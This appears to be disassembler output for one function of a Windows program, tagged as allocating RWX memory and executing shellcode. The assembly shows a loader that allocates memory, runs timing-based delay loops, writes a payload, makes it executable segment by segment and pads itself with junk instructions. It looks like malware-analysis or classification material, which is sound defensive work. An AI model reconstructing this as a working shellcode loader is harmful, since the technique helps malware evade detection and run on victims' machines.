Function at 0x4013d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x403b60
push 0x401d4e
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [section..data]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov eax, ecx
mov dword [ebp - 0x3c], eax
push 4
push 0x3000
push dword [eax + 4]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov dword [ebp - 0x38], esi
test esi, esi
jne 0x401457
push 0x401990
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, str.Failed_to_allocate_memory_in_current_process._Error_code:
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.00401770
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x401684
mov dword [ebp - 0x34], 0x63
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
nop word [eax + eax]
mov esi, 0x3e8
push 0
call edi
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
sub esi, 1
jne 0x401475
sub dword [ebp - 0x34], 1
jne 0x401470
lea eax, [ebp - 0x20]
push eax
mov edi, dword [ebp - 0x3c]
push dword [edi + 4]
push dword [edi]
mov ebx, dword [ebp - 0x38]
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40164a
mov edi, dword [edi + 4]
cmp dword [ebp - 0x20], edi
jne 0x40164a
shr edi, 2
lea eax, [ebp - 0x24]
push eax
push 0x40
push edi
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
test eax, eax
jne 0x4014e9
push 0x401990
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, str.Failed_to_change_protection_of_first_segment_of_memory_to_executable._Error_code:
jmp 0x40165a
lea eax, [ebp - 0x28]
push eax
push 0x40
push edi
lea eax, [edi + ebx]
push eax
call esi
test eax, eax
jne 0x40150f
push 0x401990
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, str.Failed_to_change_protection_of_second_segment_of_memory_to_executable._Error_code:
jmp 0x40165a
mov dword [ebp - 0x34], 0x63
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
nop dword [eax]
mov esi, 0x3e8
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
sub esi, 1
jne 0x401525
sub dword [ebp - 0x34], 1
jne 0x401520
lea eax, [ebp - 0x2c]
push eax
push 0x40
push edi
mov esi, dword [ebp - 0x38]
lea eax, [esi + edi*2]
push eax
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
test eax, eax
jne 0x4015af
push 0x401990
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, str.Failed_to_change_protection_of_third_segment_of_memory_to_executable._Error_code:
push eax
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.00401770
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0x8000
push 0
push esi
jmp 0x40167e
lea eax, [ebp - 0x30]
push eax
push 0x40
push edi
lea eax, [esi + edi*2]
add eax, edi
push eax
call ebx
test eax, eax
jne 0x4015d4
push 0x401990
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, str.Failed_to_change_protection_of_fourth_segment_of_memory_to_executable._Error_code:
jmp 0x401586
mov dword [ebp - 4], 0
xor eax, eax
push eax
pop eax
inc eax
dec eax
add eax, 0
sub eax, 0
xor ebx, ebx
push ebx
pop ebx
mov dword [ebp - 4], 0xfffffffe
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov al, 1
jmp 0x401686
push 0x401990
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, str.Failed_to_write_shellcode_to_current_process._Error_code:
push eax
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.00401770
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00401d7d
mov esp, ebp
pop ebp
ret